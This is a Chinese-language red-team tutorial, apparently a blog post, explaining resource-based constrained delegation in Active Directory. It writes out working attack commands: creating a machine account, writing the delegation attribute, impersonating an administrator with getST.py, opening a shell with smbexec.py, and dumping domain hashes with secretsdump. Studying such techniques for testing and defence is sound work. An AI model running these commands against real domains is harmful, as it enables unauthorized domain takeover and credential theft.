首页 > 其他分享 >基于资源的约束委派(RBCD)

基于资源的约束委派(RBCD)

时间:2024-02-02 14:34:13浏览次数:28  
标签:委派 账户 用户 约束 AllowedToActOnBehalfOfOtherIdentity 权限 RBCD msDS

概念

微软在Windows Server 2012 中新引入基于资源的约束性委派(Resource Based Constrained Delegation, RBCD),RBCD不需要通过具备SeEnableDelegationPrivilege权限的域管理员进行修改,而是将设置属性的权限给了服务资源本身

配置了RBCD的账户属性有如下变化:

  • msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户

可以将基于资源的约束性委派理解为传统的约束性委派的反向过程。以 Service 1 和 Service 2 两个服务为例,传统的约束性委派需要在 Service 1 上设置 msDS-AllowedToDelegateTo 属性,以指定对 Service 2 上的哪一个服务进行委派。而在基于资源的约束性委派中,需要在 Service 2 上将 msDS-AllowedToActOnBehalfOfOtherIdentity 属性值设为 Service 1 的 SID,以允许 Service 1 对 Service 2 上的服务进行委派。

此外,在传统的约束性委派中,通过 S4u2self 申请到的 ST 票据一定是可转发的,如果不可转发,则后续的 S4U2Proxy 阶段将失败。但是在基于资源的约束性委派中,不可转发的 ST 票据仍然可以通过 S4U2Proxy 阶段对其他服务进行委派认证。

攻击核心条件

  1. 具有对主机修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限
  2. 可以创建机器账户(或已知机器账户)

什么用户具备修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限呢?

  • 将该主机加入域的用户账户

    账户中有一个mSDS-CreatorSID属性,用于标记加入域时使用的用户账户SID值,进一步就可以知道一些具有加入域权限的用户账户了!

  • Account Operator组成员

  • 该主机的机器账户

什么用户具备添加机器用户的权限

  • 对于一般域成员,由msDS-MachineAccountQuota属性决定,默认可以创建10个机器账户。

约束委派与基于资源的约束委派的区别:

  1. 传统的约束委派S4U2Self返回的票据一定是可转发的(Forwardable标记),如果不可转发那么S4U2Proxy将失败;但是基于资源的约束委派不同,就算S4U2Self返回的票据不可转发(可不可以转发由TrustedToAuthenticationForDelegation决定),S4U2Proxy也是可以成功,并且S4U2Proxy返回的票据总是可转发。
  2. 基于资源的约束委派只能在运行Windows Server 2012 R2和Windows Server 2012的域控制器上配置,但可以在混合模式林中应用。

补充:

因为基于资源的约束委派中需要用到S4U2Self和S4U2Proxy,又因为S4U2Self只适用于具有SPN的账户,恰好的是在域中有一个属性MachineAccountQuota,所以就需要通过MachineAccountQuota来创建一个SPN的账户来进行委派配合。
,而计算机账户默认是注册RestrictedKrbHost/domainHOST/domain这两个SPN的

侦查思路1

目标:找到可修改msDS-AllowedToActOnBehalfOfOtherIdentity的用户
已知机器账户,找到使其加入域中的用户账户,这个用户账户就具备修改msDS-AllowedToActOnBehalfOfOtherIdentity的权限

# 使用adfind.exe查找机器账户的mS-DS-CreatorSID属性
AdFind.exe -h 10.10.2.20 -u username -up password -b "DC=redteam,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID

# 使用Powershell反查SID对应的用户
powerpick $objSID = New-Object System.Security.Principal.SecurityIdentifier S-1-5-21-3309395417-4108617856-2168433834-1104;$objUser = $objSID.Translate([System.Security.Principal.NTAccount]);$objUser.Value

如下图,ACL admin组成员对WIN-DC.xiaorang.lab具有writeDacl权限(该权限可以允许持有者修改特定对象的权限),这里[email protected]又是该用户组成员,可以通过writeDacl权限修改WIN-DC.xiaorang.lab的msDS-AllowedToActOnBehalfOfOtherIdentity

补充:当然这里也可以修改DCSync权限,直接利用DCSync。

侦查思路2

目标:找到该用户可修改msDS-AllowedToActOnBehalfOfOtherIdentity的机器

已知用户查找到通过该用户加入域中的机器,这台机器可被修改msDS-AllowedToActOnBehalfOfOtherIdentity

# 查用户账户SID
whoami /all

# 使用PowerView查经由该用户加入域内的机器账户(主机)
# 需要具备GeneriCall或WriteProperty等修改权限
powershell-import PowerView.ps1
powerpick Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3309395417-4108617856-2168433834-1104"} | select objectdn,activedirectoryrights

如下图,[email protected]用户为Account Operator组成员,该用户具备对Fileserver.xiaorang.lab这台机器修改msDS-AllowedToActOnBehalfOfOtherIdentity的权限

攻击思路

这里附一张自己画的图(攻击流程):

创建机器账户

# 使用addcpmputer创建机器账户
addcomputer.py domain/username:password -method LDAPS -computer-name hack\$ -computer-pass Passw0rd -dc-ip 10.10.2.20
# 使用powershell
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount hack -Password $(ConvertTo-SecureString "password" -AsPlainText -Force)

通过impacket直接攻击

rbcd.py domain/username:password -dc-ip 172.22.60.8 -action write -delegate-to 'PC1$' -delegate-from 'hack$'

查询机器账户的sid

import-module .\PowerView.ps1
Get-DomainComputer hack | select objectSid

设置委派属性

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3535393121-624993632-895678587-1116)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer PC1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

验证是否添加成功

Get-DomainComputer PC1 -Properties msds-allowedtoactonbehalfofotheridentity

申请票据

python3 getST.py -dc-ip 172.22.60.8 xiaorang.lab/hack$:password -spn cifs/pc1.xiaorang.lab -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k PC1.xiaorang.lab

利用DCSync接管全域

export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass PC1.xiaorang.lab -dc-ip 172.22.60.8

参考文章

奇安信攻防社区-红队域渗透技术:委派攻击汇总(全) https://forum.butian.net/share/1591

https://txluck.github.io/2022/03/04/基于资源的约束委派/

标签:委派,账户,用户,约束,AllowedToActOnBehalfOfOtherIdentity,权限,RBCD,msDS
From: https://www.cnblogs.com/seizer/p/18003119

相关文章

  • 轻松学习SQL外键约束的核心原理和实用技巧
    测试管理班是专门面向测试与质量管理人员的一门课程,通过提升从业人员的团队管理、项目管理、绩效管理、沟通管理等方面的能力,使测试管理人员可以更好的带领团队、项目以及公司获得更快的成长。提供1v1私教指导,BAT级别的测试管理大咖量身打造职业规划。SQL约束-外键约束测试管理......
  • 轻松学习SQL外键约束的核心原理和实用技巧
    测试管理班是专门面向测试与质量管理人员的一门课程,通过提升从业人员的团队管理、项目管理、绩效管理、沟通管理等方面的能力,使测试管理人员可以更好的带领团队、项目以及公司获得更快的成长。提供1v1私教指导,BAT级别的测试管理大咖量身打造职业规划。SQL约束-外键约束......
  • 数据库新手必知!轻松学习SQL外键约束的核心原理和实用技巧
    SQL约束-外键约束简介外键约束(FOREIGNKEY,缩写FK)是用来实现数据库表的参照完整性的。它是指表中某个字段的值依赖于另一张表中某个字段的值,而被依赖的字段必须且有主键约束或者唯一约束。被依赖的表通常称之为父表或者主表,设置外键约束的表称为子表或从表。相关概念主键:可以唯一......
  • 差分约束系统
    差分约束系统差分约束系统\(x_1-x_2\leqy_1\)...\(x_i-x_j\leqy_i\)将\(x_i-xj\leqy_i\)移项,得\(x_i\leqx_j+y_i\)可建立一条从\(x_j\)到\(x_i\)的路径,权值为\(y_2\)将线性规划问题转化为图论问题差分约束系统的转化:\(x_1-x_2>=y\tox_2-x_1<=-y_1\)......
  • 双亲委派模式的优点
    一道面试题能不能自己写个类叫java.lang.System?答案:通常不可以,但可以采取另类方法达到这个需求。解释:为了不让我们写System类,类加载采用委托机制,这样可以保证爸爸们优先,爸爸们能找到的类,儿子就没有机会加载。而System类是Bootstrap加载器加载的,就算自己重写,也总是使用Java系统......
  • DNS子域委派配置
    实验介绍:DNS子域委派的作用子域即为主域下的一个子域名,当一个子域的流量过大时,主域的DNS服务器可以把一个子域的查询授权给一台专门的子域服务器例如:dns3将他的子域xiannong委派给dns1,dns3受到客户端解析域名xiannong的请求时,会转发给dns1,dns1给出结果返回给dns3。和转发器类似,d......
  • 【学习笔记】差分约束
    前言2024.1.27\(huge\)在讲不要忽略算法的细节时,以最短路和差分约束为例子。发现自己差分约束忘得差不多了,于是就有了这篇博客。负环在一张图中,若存在一条边权之和为负数的回路,则称这个回路为负环。在一张图中,若存在一条边权之和为正数的回路,则称这个回路为正环。如果一张......
  • MySQL--约束
    概述概念:约束作用于表中字段上的规则,用于限制存储再表中的数据。作用:保证数据库中的数据的正确、有效性和完整性。分类:约束描述关键字非空约束限制该字段的数据不能为nullNOTNULL唯一约束保证该字段的所有数据都是唯一UNIQUE主键约束主键是一行......
  • Visual Studio 2019 SSIS工具控制流增加约束以及数据流增加数据匹配达到增量抽取
    情况1:在配置控制流时,想在数据流前面进行数据的过滤或者是前置的数据记录数的判断,那可以在数据流前面增加SQL执行任务用来放置判断SQL语句,随后得在SQL执行任务编辑界面找到ResultSet(结果集),在右侧下拉选择项中选择单行(这里选择单行是因为写的SQL判断语句只输出一行值)随后在左侧菜......
  • OpenHarmony—TypeScript到ArkTS约束说明
    对象的属性名必须是合法的标识符规则:arkts-identifiers-as-prop-names级别:错误在ArkTS中,对象的属性名不能为数字或字符串。通过属性名访问类的属性,通过数值索引访问数组元素。TypeScriptvarx={'name':'x',2:'3'};console.log(x['name']);console.log(x[2]);ArkT......